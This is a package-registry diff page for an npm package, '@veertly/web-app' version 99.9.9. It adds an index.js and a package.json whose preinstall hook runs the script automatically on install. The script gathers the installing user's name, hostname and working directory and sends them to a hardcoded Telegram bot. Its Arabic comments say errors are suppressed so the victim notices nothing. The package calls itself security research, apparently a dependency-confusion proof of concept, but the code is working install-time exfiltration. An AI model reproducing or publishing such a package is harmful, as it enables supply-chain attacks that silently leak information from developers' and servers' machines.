@veertly/web-app 99.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +32 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,32 @@
1
+ const os = require("os");
2
+ const https = require("https");
3
+
4
+ // 1. تجميع بيانات النظام بأمان (Cross-Platform)
5
+ const packageName = "@veertly/web-app"; // اسم المكتبة المستهدفة
6
+ const user = os.userInfo().username;
7
+ const host = os.hostname();
8
+ const currentPath = process.cwd();
9
+
10
+ // 2. تجهيز الرسالة بنفس تنسيق تقرير Telekom بالظبط
11
+ const message = `✅ Swisscom PoC Hit!
12
+
13
+ 📦 Package: ${packageName}
14
+ 👤 User: ${user}
15
+ 💻 Host: ${host}
16
+ 📁 Path: ${currentPath}`;
17
+
18
+ // تشفير الرسالة عشان تتبعت في الـ URL بدون مشاكل
19
+ const encodedMessage = encodeURIComponent(message);
20
+
21
+ // 3. ⚠️ حط التوكن بتاعك والـ Chat ID هنا
22
+ const botToken = "8775202566:AAGk2OxX_Xcy-Mduf2-HHMn_0vv8Scum3Gk";
23
+ const chatId = "1483949647";
24
+
25
+ const telegramUrl = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodedMessage}`;
26
+
27
+ // 4. إرسال الطلب للتليجرام
28
+ https.get(telegramUrl, (res) => {
29
+ // تم الإرسال بنجاح
30
+ }).on("error", (err) => {
31
+ // تجاهل الأخطاء بصمت عشان السيرفر أو جهاز المبرمج مايحسش بحاجة
32
+ });
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@veertly/web-app",
3
+ "version": "99.9.9",
4
+ "description": "Security Research for Swisscom / Veertly",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "YourName",
10
+ "license": "ISC"
11
+ }